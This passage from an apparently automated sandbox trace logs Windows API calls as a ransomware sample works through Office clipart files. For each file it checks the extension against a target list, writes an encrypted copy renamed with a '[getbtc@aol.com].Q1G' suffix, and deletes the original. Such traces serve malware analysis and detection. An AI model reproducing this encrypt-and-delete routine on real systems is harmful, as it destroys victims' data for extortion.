Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0257.095] lstrlenW (lpString=".1cd") returned 4 [0257.095] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0257.095] lstrlenW (lpString=".jpg") returned 4 [0257.095] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0257.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0257.095] lstrlenW (lpString=".doc") returned 4 [0257.095] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.095] lstrlenW (lpString=".docx") returned 5 [0257.095] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0257.095] lstrlenW (lpString=".pdf") returned 4 [0257.095] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.095] lstrlenW (lpString=".xls") returned 4 [0257.095] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.095] lstrlenW (lpString=".xlsx") returned 5 [0257.095] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0257.095] lstrlenW (lpString=".ppt") returned 4 [0257.095] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0257.095] lstrlenW (lpString=".zip") returned 4 [0257.095] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.096] lstrlenW (lpString=".rar") returned 4 [0257.096] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.096] lstrlenW (lpString=".bz2") returned 4 [0257.096] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.096] lstrlenW (lpString=".7z") returned 3 [0257.096] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0257.096] lstrlenW (lpString=".dbf") returned 4 [0257.096] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0257.096] lstrlenW (lpString=".1cd") returned 4 [0257.096] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0257.096] lstrlenW (lpString=".jpg") returned 4 [0257.096] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.096] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0257.096] lstrlenW (lpString="J0105390.WMF") returned 12 [0257.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0257.097] GetFileSizeEx (in: hFile=0x3f0, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=4944) returned 1 [0257.097] CloseHandle (hObject=0x3f0) returned 1 [0257.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf")) returned 0x20 [0257.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0257.097] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.097] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0257.098] GetLastError () returned 0x0 [0257.098] ReadFile (in: hFile=0x3f0, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x1350, lpOverlapped=0x0) returned 1 [0257.156] WriteFile (in: hFile=0x3a8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x1360, lpOverlapped=0x0) returned 1 [0257.157] ReadFile (in: hFile=0x3f0, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0257.157] WriteFile (in: hFile=0x3a8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0257.157] SetEndOfFile (hFile=0x3a8) returned 1 [0257.157] CloseHandle (hObject=0x3a8) returned 1 [0257.157] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.157] SetEndOfFile (hFile=0x3f0) returned 1 [0257.159] CloseHandle (hObject=0x3f0) returned 1 [0257.159] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.159] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf")) returned 1 [0257.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0257.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0257.162] lstrlenW (lpString=".doc") returned 4 [0257.162] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.162] lstrlenW (lpString=".docx") returned 5 [0257.162] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0257.162] lstrlenW (lpString=".pdf") returned 4 [0257.162] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.162] lstrlenW (lpString=".xls") returned 4 [0257.162] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.162] lstrlenW (lpString=".xlsx") returned 5 [0257.162] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0257.162] lstrlenW (lpString=".ppt") returned 4 [0257.162] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0257.162] lstrlenW (lpString=".zip") returned 4 [0257.162] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.162] lstrlenW (lpString=".rar") returned 4 [0257.162] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.162] lstrlenW (lpString=".bz2") returned 4 [0257.162] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.162] lstrlenW (lpString=".7z") returned 3 [0257.162] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0257.163] lstrlenW (lpString=".dbf") returned 4 [0257.163] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0257.163] lstrlenW (lpString=".1cd") returned 4 [0257.163] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0257.163] lstrlenW (lpString=".jpg") returned 4 [0257.163] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0257.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0257.163] lstrlenW (lpString=".doc") returned 4 [0257.163] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.163] lstrlenW (lpString=".docx") returned 5 [0257.163] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0257.163] lstrlenW (lpString=".pdf") returned 4 [0257.163] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.163] lstrlenW (lpString=".xls") returned 4 [0257.163] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.163] lstrlenW (lpString=".xlsx") returned 5 [0257.163] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0257.163] lstrlenW (lpString=".ppt") returned 4 [0257.163] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0257.163] lstrlenW (lpString=".zip") returned 4 [0257.163] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.163] lstrlenW (lpString=".rar") returned 4 [0257.163] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.163] lstrlenW (lpString=".bz2") returned 4 [0257.163] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.163] lstrlenW (lpString=".7z") returned 3 [0257.163] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0257.163] lstrlenW (lpString=".dbf") returned 4 [0257.163] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0257.164] lstrlenW (lpString=".1cd") returned 4 [0257.164] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0257.164] lstrlenW (lpString=".jpg") returned 4 [0257.164] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.164] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0257.164] lstrlenW (lpString="J0105410.WMF") returned 12 [0257.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0257.191] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=20444) returned 1 [0257.191] CloseHandle (hObject=0x20c) returned 1 [0257.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf")) returned 0x20 [0257.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0257.196] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.197] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0257.197] GetLastError () returned 0x0 [0257.197] ReadFile (in: hFile=0x3d8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x4fdc, lpOverlapped=0x0) returned 1 [0257.201] WriteFile (in: hFile=0x3e4, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x4fe0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x4fe0, lpOverlapped=0x0) returned 1 [0257.203] ReadFile (in: hFile=0x3d8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0257.203] WriteFile (in: hFile=0x3e4, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0257.203] SetEndOfFile (hFile=0x3e4) returned 1 [0257.203] CloseHandle (hObject=0x3e4) returned 1 [0257.203] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.203] SetEndOfFile (hFile=0x3d8) returned 1 [0257.205] CloseHandle (hObject=0x3d8) returned 1 [0257.205] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.206] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf")) returned 1 [0257.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0257.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0257.206] lstrlenW (lpString=".doc") returned 4 [0257.206] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.206] lstrlenW (lpString=".docx") returned 5 [0257.206] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0257.206] lstrlenW (lpString=".pdf") returned 4 [0257.206] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.206] lstrlenW (lpString=".xls") returned 4 [0257.206] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.206] lstrlenW (lpString=".xlsx") returned 5 [0257.206] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0257.206] lstrlenW (lpString=".ppt") returned 4 [0257.206] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0257.206] lstrlenW (lpString=".zip") returned 4 [0257.207] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.207] lstrlenW (lpString=".rar") returned 4 [0257.207] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.207] lstrlenW (lpString=".bz2") returned 4 [0257.207] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.207] lstrlenW (lpString=".7z") returned 3 [0257.207] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0257.207] lstrlenW (lpString=".dbf") returned 4 [0257.207] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0257.207] lstrlenW (lpString=".1cd") returned 4 [0257.207] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0257.207] lstrlenW (lpString=".jpg") returned 4 [0257.207] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0257.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0257.207] lstrlenW (lpString=".doc") returned 4 [0257.207] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.207] lstrlenW (lpString=".docx") returned 5 [0257.207] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0257.207] lstrlenW (lpString=".pdf") returned 4 [0257.207] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.207] lstrlenW (lpString=".xls") returned 4 [0257.207] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.207] lstrlenW (lpString=".xlsx") returned 5 [0257.207] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0257.207] lstrlenW (lpString=".ppt") returned 4 [0257.207] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0257.207] lstrlenW (lpString=".zip") returned 4 [0257.207] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.207] lstrlenW (lpString=".rar") returned 4 [0257.207] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.208] lstrlenW (lpString=".bz2") returned 4 [0257.208] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.208] lstrlenW (lpString=".7z") returned 3 [0257.208] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0257.208] lstrlenW (lpString=".dbf") returned 4 [0257.208] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0257.208] lstrlenW (lpString=".1cd") returned 4 [0257.208] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned 63 [0257.208] lstrlenW (lpString=".jpg") returned 4 [0257.208] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.208] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0257.208] lstrlenW (lpString="J0105412.WMF") returned 12 [0257.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0257.209] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=9400) returned 1 [0257.209] CloseHandle (hObject=0x3d8) returned 1 [0257.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf")) returned 0x20 [0257.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0257.209] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.209] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0257.211] GetLastError () returned 0x0 [0257.211] ReadFile (in: hFile=0x3d8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x24b8, lpOverlapped=0x0) returned 1 [0257.222] WriteFile (in: hFile=0x3e4, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x24c0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x24c0, lpOverlapped=0x0) returned 1 [0257.223] ReadFile (in: hFile=0x3d8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0257.223] WriteFile (in: hFile=0x3e4, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0257.223] SetEndOfFile (hFile=0x3e4) returned 1 [0257.223] CloseHandle (hObject=0x3e4) returned 1 [0257.223] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.223] SetEndOfFile (hFile=0x3d8) returned 1 [0257.225] CloseHandle (hObject=0x3d8) returned 1 [0257.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.225] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf")) returned 1 [0257.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0257.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0257.226] lstrlenW (lpString=".doc") returned 4 [0257.226] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.226] lstrlenW (lpString=".docx") returned 5 [0257.226] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0257.226] lstrlenW (lpString=".pdf") returned 4 [0257.226] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.226] lstrlenW (lpString=".xls") returned 4 [0257.226] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.226] lstrlenW (lpString=".xlsx") returned 5 [0257.226] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0257.226] lstrlenW (lpString=".ppt") returned 4 [0257.226] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0257.226] lstrlenW (lpString=".zip") returned 4 [0257.226] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.226] lstrlenW (lpString=".rar") returned 4 [0257.226] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.226] lstrlenW (lpString=".bz2") returned 4 [0257.226] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.226] lstrlenW (lpString=".7z") returned 3 [0257.226] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0257.226] lstrlenW (lpString=".dbf") returned 4 [0257.227] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0257.227] lstrlenW (lpString=".1cd") returned 4 [0257.227] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0257.227] lstrlenW (lpString=".jpg") returned 4 [0257.227] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0257.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0257.227] lstrlenW (lpString=".doc") returned 4 [0257.227] lstrcmpiW 